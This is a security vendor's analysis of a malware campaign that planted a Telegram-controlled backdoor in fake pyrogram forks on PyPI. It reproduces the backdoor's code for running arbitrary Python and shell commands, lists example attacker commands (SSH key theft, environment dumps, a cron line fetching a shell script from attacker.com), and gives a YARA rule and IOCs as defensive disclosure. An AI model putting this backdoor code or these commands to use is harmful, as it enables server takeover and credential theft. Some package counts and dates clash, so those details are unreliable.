A Telegram-related Library That Sees 347,000 Installs Every Month
If you build Telegram bots in Python, you almost certainly know pyrogram; and you should be aware that a malware campaign we’re calling Operation Navy Ghost is targeting developers who adopt pyrogram and related modules as a dependency.
It is one of the most popular Telegram MTProto client libraries in the Python ecosystem. A clean, modern, async-first, library that has become trusted by developers worldwide. Its numbers speak for themselves:
- 11,645 downloads in a single day
- 79,504 downloads in a single week
347,395 downloads every month: enough to be worth an attacker’s time, not so much that it’s likely to attract significant attention from researchers.
Between November 2025 and June 2026, a threat actor (likely a small group operating under multiple identities) published at least eight separate trojan-infected pyrogram forks to PyPI. Each one looked like a legitimate pyrogram variant but carried a hidden backdoor that gives the attacker full remote control over any server running the infected package.
The attackers took the legitimate pyrogram source code, added a hidden file that acts as a backdoor, packaged it under slightly different names, and published it to PyPI (Python Package Index).
We are calling this campaign Operation Navy Ghost due to its attempt to bait developers by claiming to be a “Navy fork” of pyrogram.
Defensive Actions for Operation Navy Ghost
Here’s what you need to know to defend your organization:
-
These packages have been removed from PyPI; however, they may be present in private package registries (like your Artifactory), cached on developer workstations, included in third-party applications, etc.
-
Exfiltration / C2 (Command and Control) occurs via Telegram. If your org uses or is unwilling to block Telegram itself, block the attacker’s Telegram channel: “https[:]//TokoWann[.]t[.]me/2” and attacker Telegram user IDs: “842320686”, “845521076”, “1675073032”, “1054295664”, “1928772230”, “6710439195”, “984144778”, “1992087933”, “7028669261”, “6321616956”, “278475769”, “1964437366”, “327471892”, “5092757079”, “273057737”, “8721707252” (NOTE: Telegram’s architecture generally makes it impossible to block specific channels/users at the network level; this type of blocking is only possible at an application level, and therefore likely only applies to automation or other clients you fully control.)
-
Search your infrastructure, including third-party application footprint, for these packages or indicators of compromise
-
Checkmarx customers can use their Global Inventory to assess the presence of these packages in your organization’s first-party applications
-
Use YARA or similar tool to examine desktops and deployed applications for affected files (see below for detection options and a basic YARA rule for this campaign)
-
Meet the Five Packages
Here is a summary of every malicious package discovered in this campaign:
| Package | Author (PyPI) | First Published | Versions | Downloads | Status |
|---|---|---|---|---|---|
| VLifeGram | wndrzzka | November 24th, 2025 | 9 | 4,150 | Taken down |
| VLife-Gram | wndrzzka | November 22nd, 2025 | 5 | 1,030 | Taken down |
| kelragram | narutorawr18 | May 6th, 2026 | 6 | 2,530 | Taken down |
| pyrogram-navy | deylin | January 10th, 2026 | 16+ | 15,370 | Taken down |
| pyrogram-styled | deylin | May 15th, 2026 | 1 | 432 | Taken down |
| sepgram | deylin | June 7th, 2026 | 3 | 1,041* | Reported |
| pyrogram-zeeb | deylin | February 7th, 2026 | 1 | 264 | Taken down |
| pyrogram-kelra | deylin | March 21st, 2027 | 1 | 672* | Reported |
Most packages have now been taken down from PyPI thanks to our reports. But the damage window — across multiple months and dozens of versions — means any organization or developer that installed one of these during that period should treat their environment as compromised.
How to Check If You Were Affected by Operation Navy Ghost
One of your first concerns should be if your own developers consumed any of these packages. Checkmarx customers with MPP (Malicious Package Protection) are currently protected against new installs and can check Global Inventory to determine if any projects were affected in the past.
Customer or not, you can examine individual developer desktops, CI runner instances, etc. using the steps below. To detect third-party applications and other sources of entry, see the YARA detection rule in the next section.
Step 1 — Check your installed packages:
pip show vlifegram vlife-gram kelragram pyrogram-navy pyrogram-styled
If any of these return information, you had a malicious package installed.
Step 2 — Check your pip install history:
cat ~/.local/share/pip/pip.log | grep -E "vlifegram|vlife-gram|kelragram|pyrogram-navy|pyrogram-styled|sepgram|pyrogram-kelra|pyrogram-zeeb"
Step 3 — Check for the malicious file:
find / -path "*/pyrogram/helpers/secret.py" 2>/dev/null
If this file exists anywhere on your system, your environment was compromised.
Step 4 — Check for unknown Telegram handlers on your bot: Any bot running one of these packages will have hidden handlers registered. If you cannot account for all registered handlers in your own code, treat the session as compromised.
YARA detection rule
If you use YARA for malware detection, or another tool that ingests YARA rules, you can import this rule directly. Otherwise, examine the rule for IOCs that you can then enter in your own infrastructure:
rule OperationNavyGhost_BehaviorPattern
{
meta:
description = "Detects pyrogram backdoor pattern - client hijack + <abbr title="Remote Command Execution">RCE</abbr> + shell + exfil"
author = "Checkmarx Security Research"
severity = "CRITICAL"
reference = "Operation Navy Ghost"
strings:
// Pattern 1: pyrogram client handler registration
$handler_msg = "MessageHandler" ascii
$handler_cq = "CallbackQueryHandler" ascii
$filter_cmd = "filters.command" ascii
$filter_user = "filters.user" ascii
$add_handler = "add_handler" ascii
// Pattern 2: Dynamic code execution — any naming
$exec_compile = "exec(compile(" ascii
$ast_parse = "ast.parse" ascii
$ast_module = "ast.Module" ascii
$ast_funcdef = "AsyncFunctionDef" ascii
// Pattern 3: Shell execution
$subprocess = "subprocess.run" ascii
$bash_shell = "/bin/bash" ascii
$async_shell = "create_subprocess_shell" ascii
// Pattern 4: File exfiltration via reply
$reply_doc = "reply_document" ascii
// Pattern 5: Self-exclusion guard pattern
// "if client.me.id in <list>: return"
$self_exclude = /if\s+\w+\.me\.id\s+in\s+\w+/ ascii
// Pattern 6: Hardcoded numeric ID list (attacker owner list)
// Matches: OWNERS = [123456, 789012, ...]
$owner_list = /\w+\s*=\s*\[\s*\d{7,10}(\s*,\s*\d{7,10})+\s*\]/ ascii
condition:
// Must be a Python file
uint16(0) != 0x4B50 and // not a zip
// Core: handler registration with command + user filter
$add_handler and $handler_msg and $filter_cmd and $filter_user and
// Core: dynamic code execution
($exec_compile or ($ast_parse and $ast_module and $ast_funcdef)) and
// Core: shell execution
($subprocess or $async_shell or $bash_shell) and
// Core: exfiltration
$reply_doc and
// Supporting: self-exclusion + hardcoded owner IDs
($self_exclude or $owner_list)
}
Timeline: A Campaign That Grew Over Six Months
The campaign started quietly, grew more sophisticated over time, and kept spawning new variants:
- November 22, 2025 VLife-Gram first published (5 versions in one day)
- November 24, 2025 VLifeGram first published
- January 10, 2026 pyrogram-navy first published (most prolific — 16+ versions)
- January 13, 2026 pyrogram-navy version publishing accelerates
- May 6, 2026 kelragram published (6 versions in a single day)
- May 15, 2026 pyrogram-styled published (final package in campaign)
- May 29, 2026 VLifeGram last version published (2.1.2.6)
After our initial discovery and reports in May, we still see new packages being published in this campaign.
One reason this campaign is dangerous is how convincing the packages look. Since the attackers did not take over a legitimate developer account, they spent time making their packages appealing and legitimate-looking to appeal to their targets.
Consider VLifeGram. Its pyproject.toml reads in part:
name = "VLifeGram"
description = "Fork of Pyrogram. Elegant, modern and asynchronous Telegram MTProto
API framework in Python for users and bots"
authors = [{ name = "WannnKW", email = "[email protected]" }]
license = "LGPL-3.0-or-later"

It had a proper README, a legitimate-looking license, correct Python version classifiers, a real GitHub repository, and even a Telegram community link. To a developer searching PyPI for pyrogram, this looks like a credible fork that might even provide some real advantages.
kelragram went further, describing itself as a “Navy Fork” in the package readme — a deliberate hint at the pyrogram-navy package, linking the packages together as a branded suite.
This is a supply chain social engineering attack, crafted to trick developers into inviting a malicious package into their environment.
The Weapon: A Hidden File Called secret.py
Every package in this campaign carried one key malicious file: pyrogram/helpers/secret.py
This file does not exist in any legitimate pyrogram release. It was injected by the attacker into the helpers module — a location that sounds routine and trustworthy to anyone quickly scanning the package structure.
Here is what it contains:
Owner List: The Attacker’s Access Keys
OWNERS = [842320686, 845521076, 1675073032]
These are hardcoded Telegram user IDs. Any Telegram account matching one of these IDs gets unconditional remote control over any server running the infected package. Think of them as master keys.

Different package versions carried different OWNER lists — a detail we will return to when discussing attribution.
Backdoor Registration: Hidden Command Handlers
def init(client: pyrogram.Client):
if client.me.id in OWNERS:
return # ← Don't activate on the attacker's own accounts
client.add_handler(
pyrogram.handlers.MessageHandler(
executor,
pyrogram.filters.command(["asu", "wann"]) &
pyrogram.filters.user(OWNERS)
)
)
client.add_handler(
pyrogram.handlers.MessageHandler(
shellrunner,
pyrogram.filters.command(["asi", "wann2"]) &
pyrogram.filters.user(OWNERS)
)
)
The moment this runs, two invisible command handlers are registered on the victim’s Telegram client:
- /asu / /wann — Execute any Python code sent by the attacker
- /asi / /wann2 — Execute any shell command on the victim’s server
Notice the self-exclusion guard at the top: if client.me.id in OWNERS: return. The backdoor will not activate on the attacker’s own accounts. This is a detail that reveals careful planning — the attacker has thought about accidentally triggering the backdoor on their own bots.
Python Executor: Full Code Execution
async def aexec(code: str, kwargs: dict = {}) -> object:
...
exec(compile(node, "<string>", "exec"), temp)
func = await temp[name](*kwargs.values())
return await func if inspect.iscoroutine(func) else func
When the attacker sends /asu print(os.environ) to the victim’s bot, this function compiles and executes that Python code on the victim’s machine — with full access to the live Telegram client, session, chats, contacts, and environment variables.

Shell Executor: Full Server Access
async def bash(cmd: str):
result = subprocess.run(
["/bin/bash", "-c", cmd],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
return result.stdout, result.stderr
When the attacker sends /asi cat /etc/passwd, this runs /bin/bash -c “cat /etc/passwd” on the victim’s server and returns the output. This is repeatable with any shell command, and runs under the infected application’s authority, meaning the malware can access and exfiltrate whatever the infected application could legitimately access.

Exfiltration Channel: Telegram Itself
Here is the clever part. The attacker does not need a separate C2 server or HTTP endpoint. All stolen data comes back through Telegram itself via the victim bot’s own replies.
await message.reply_document(
document=output_filename,
caption="Command completed."
)
Large outputs are automatically written to a file and sent as a Telegram document attachment back to the attacker. This means all exfiltration traffic looks like normal Telegram bot traffic: it bypasses HTTP monitors, firewall rules, and DNS-based network detection entirely.
How the Backdoor Gets Triggered
Including secret.py the package is subtle, but its payload activation method is even more interesting. The attacker was careful to make this nearly invisible to common analysis methods.
In VLifeGram: Triggered at Import Time
In vlifegram, the activation is wired directly into the helpers module’s __init__.py:
# pyrogram/helpers/__init__.py
from .helpers import ikb, bki, ntb, btn, kb, kbtn, array_chunk, force_reply
from .keyboard import (InlineKeyboard, InlineButton, ...)
from .secret import init # ← MALICIOUS LINE
The moment any code does import pyrogram, the helpers module is loaded, secret.py is imported, and init is ready to be called. There is no way to use the package without loading the backdoor.

In kelragram, pyrogram-navy, pyrogram-styled: Triggered at Bot Start
In the other packages, the injection is buried deeper — inside the Client.start() method, which every pyrogram bot calls when it starts up:
else: self.me = await self.get_me()
try:
import pyrogram.helpers.secret as secret
if self.me.is_bot: # ← Only activates on bot accounts
secret.init_secret(self)
except Exception:
pass # ← Silently suppressed — no logs, no errors
await self.initialize()
return self

Three things to notice here:
1. Bot-exclusive targeting. The if self.me.is_bot check means the backdoor only activates on Telegram bot accounts — not userbots. This is deliberate. Bots typically run on production servers with access to databases, credentials, cloud APIs, and sensitive infrastructure. This suggests that attacker specifically wanted server access, not personal account access, and likely reasoned that this would be less likely to be noticed compared to compromising userbots.
2. Silent suppression. The entire injection is wrapped in try / except: pass. If anything goes wrong — the file is missing, an import fails, anything — the exception is silently swallowed. No error message, no log entry, no indication anything went wrong. The bot starts normally. The developer sees nothing unusual.
3. Deeper hiding. Compared to vlifegram’s obvious __init__.py import, the start.py injection requires an analyst to trace through the client lifecycle code to find it. A quick file scan of the helpers module would not catch it.
The Attribution Web: One Threat Actor, Multiple Packages
The most significant evidence for attributing this to a coordinated single threat actor group is the common thread connecting all packages: shared Telegram user ID 327471892
This single Telegram user ID appears as an OWNER in, for example:
- pyrogram-navy — sole owner
- pyrogram-styled — sole owner
- vlife-gram — part of a 10-account OWNERS list
- vlifegram versions 2.0.0.9 and 2.1.0.1 — part of the same 10-account OWNERS list
Despite different PyPI accounts in use, these packages all using that same shared Telegram user ID is an incredibly clear signal that this is a coordinated campaign.
The Three Publisher Identities
| PyPI Username | Linked Identity |
|---|---|
| wndrzzka | Email: [redacted], GitHub: wndrzzka, Telegram: WannnKW, Channel: TokoWann.t.me |
| narutorawr18 | Email: [redacted], GitHub: Narutorawr |
| deylin | Email: [redacted] |
The “Navy” Brand: A Deliberate Connection
kelragram describes itself explicitly as a “Navy Fork”, apparently connecting pyrogram-navy as part of a “branding” effort. This seems to be the attacker branding their malicious toolkit as a product suite, likely to build perceived legitimacy among a target developer community.
The Shared Toolkit: Identical Code Across All Packages
Beyond the shared OWNER IDs, the code itself is forensically identical across all five packages:
- Same secret.py structure and function names (aexec, bash, shellrunner)
- Same backdoor commands (/asu, /asi)
- Same callback query triggers (secretruntime, secretforceclose)
- Same self-exclusion guard pattern
- Same try / except: pass silencing in start.py
- Same file exfiltration via reply_document
This is a strong signal that this is one threat actor, whether that’s a single individual or a coordinated group.
The OWNERS Lists: A Complete Picture
Here are attacker-controlled Telegram IDs found across the campaign:
VLifeGram (most versions) + VLife-Gram (all versions): 842320686, 845521076, 1675073032
VLifeGram versions 2.0.0.9 & 2.1.0.1 + VLife-Gram (all versions): 1054295664, 1928772230, 6710439195, 984144778, 1992087933, 7028669261, 6321616956, 278475769, 1964437366, 327471892
kelragram: 5092757079, 273057737, 8721707252
pyrogram-navy + pyrogram-styled: 327471892, 1054295664, 1964437366, 1928772230, 6710439195, 984144778, 1992087933, 7028669261, 6321616956, 278475769
The expansion from 3 owners to 10 owners in specific vlifegram versions — and the overlap of 327471892 across multiple packages and author accounts — suggests this campaign involved a small coordinated group with one primary operator.
What Could an Attacker Actually Do?
Let us make this concrete. Once a developer installs one of these packages and their bot is running, here is what the attacker can do from a Telegram chat:
Read any file on the server:
/asi cat /home/user/.ssh/id_rsa
Dump all environment variables (API keys, database passwords, tokens):
/asu import os; print(dict(os.environ))
Read the bot’s own Telegram session (giving access to all its chats and messages):
/asu print(client.session_string)
Download the entire database:
/asi pg_dump mydb > /tmp/dump.sql && cat /tmp/dump.sql
Install a persistent backdoor:
/asi echo "*/5 * * * * curl http://attacker.com/shell.sh | bash" | crontab -
Exfiltrate files directly to the attacker via Telegram: The shellrunner function automatically sends files larger than 4096 bytes as Telegram document attachments — no extra steps needed for the attacker.
And all of this happens through Telegram messages. No suspicious HTTP connections. No unusual DNS queries. Nothing that a standard network monitor would flag.
Operation Navy Ghost Targets Developers and Deployers of Telegram Bots
The bot-exclusivity check (if self.me.is_bot) tells us exactly who the attacker was after: developers who build and deploy Telegram bots.
This is a high-value target group. Telegram bots used in production environments commonly have access to:
- Cloud provider credentials (AWS, GCP, Azure)
- Database connection strings
- Payment processor API keys
- Other Telegram bot tokens
- Internal API credentials
- User data and message history
A developer who installs one of these packages to build their bot — on a VPS, a cloud server, or even their local machine — hands the attacker everything on that system the moment the bot starts.
Complete Navy Ghost IOC Reference
Malicious Telegram User IDs (All Packages)
842320686, 845521076, 1675073032, 1054295664, 1928772230, 6710439195, 984144778, 1992087933, 7028669261, 6321616956, 278475769, 1964437366, 327471892, 5092757079, 273057737, 8721707252
Attacker Telegram Profile URLs
https[:]//t[.]me/+842320686, https[:]//t[.]me/+845521076, https[:]//t[.]me/+1675073032, https[:]//t[.]me/+1054295664, https[:]//t[.]me/+1928772230, https[:]//t[.]me/+6710439195, https[:]//t[.]me/+984144778, https[:]//t[.]me/+1992087933, https[:]//t[.]me/+7028669261, https[:]//t[.]me/+6321616956, https[:]//t[.]me/+278475769, https[:]//t[.]me/+1964437366, https[:]//t[.]me/+327471892, https[:]//t[.]me/+5092757079, https[:]//t[.]me/+273057737, https[:]//t[.]me/+8721707252
Attacker Telegram Channel
https[:]//TokoWann[.]t[.]me/2
Backdoor Commands
/asu, /wann (Python eval) · /asi, /wann2 (shell exec)
Callback Query Triggers
secretruntime · secretforceclose
What to Do If You Were Affected
Immediately stop any running bots that used these packages
- Rotate all credentials accessible from the affected server — API keys, database passwords, cloud credentials, SSH keys, bot tokens, everything
- Revoke and regenerate your Telegram bot token via @BotFather
- Audit your server for any persistence mechanisms the attacker may have installed (cron jobs, modified .bashrc, new SSH keys in ~/.ssh/authorized_keys)
- Replace with legitimate pyrogram — install directly from pip install pyrogram (the official package by the original author)
- Report the incident to your cloud provider if cloud credentials were exposed
Recommendations for Developers
Verify package names carefully. The legitimate pyrogram package is simply pyrogram. Any package named vlifegram, pyrogram-navy, kelragram, or similar is not an official fork endorsed by the pyrogram project.
Check the PyPI author. The legitimate pyrogram is published by delivrance. Before installing any fork, check who published it and what else they have published.
Audit your requirements.txt and pyproject.toml. If these packages are pinned in your project’s dependencies, remove them immediately and replace with the legitimate package.
Enable dependency scanning in your CI/CD pipeline. Tools like Checkmarx MPIAPI can flag newly published or suspicious packages before they infect, while SCA with MPP can monitor for use that may have slipped into your code repositories.
Treat any pyrogram fork with caution. There are legitimate pyrogram forks (hydrogram, pyrofork, etc.) maintained by known community developers with transparent histories. Before adding any fork as a dependency, check its GitHub commit history, compare it against upstream pyrogram, and look for files that do not exist in the original.
Attacker Identities & Contact Points
| Identity | Type | Value |
|---|---|---|
| WannnKW | PyPI/GitHub username | wndrzzka |
| — | wan****[@]gmail[.]com | |
| — | GitHub | https://github.com/wndrzzka/VLifeGram |
| narutorawr18 | PyPI username | — |
| kelra | Author name | — |
| — | data*******[@]gmail[.]com | |
| — | GitHub | https://github.com/Narutorawr/kelragram |
| deylin | PyPI username | deylin |
| — | deylin****[@]gmail[.]com |
Malicious File Paths (Present in All Packages)
pyrogram/helpers/secret.py
pyrogram/methods/utilities/start.py (modified)
pyrogram/helpers/__init__.py (modified in VLifeGram)
Affected PyPI Packages
As of June 24, 2026, the following packages are impacted:
vlifegram, vlife-gram, kelragram, pyrogram-navy, sepgram, pyrogram-styled, pyrogram-zeeb, pyrogram-kelra
Summary
Operation Navy Ghost is an excellent example of how open-source supply chain attacks work in practice, without requiring an account takeover. The attacker did not need compromise anything to make their attack available. They simply published packages that looked legitimate, waited for developers to install them, and silently took over every server that did.
It also showcases the patience and sophistication of modern threat actors. This campaign spanned six months of active publishing, three publisher identities across multiple related packages, and two different injection techniques: one wired at import time, one buried in the client lifecycle. A Telegram-based exfiltration and C2 channel that is likely impossible for network controls to block or effectively monitor without blocking Telegram entirely. And a shared toolkit fingerprint that links the whole operation back to a single threat actor.
It’s a lesson that supply chain attacks are evolving: becoming more targeted, more advanced, and higher stakes. And that’s a clear reminder that proactive defense of the open-source supply chain is no longer optional.
Checkmarx Security Research Team
MPP
PyPi
Python
Supply Chain Security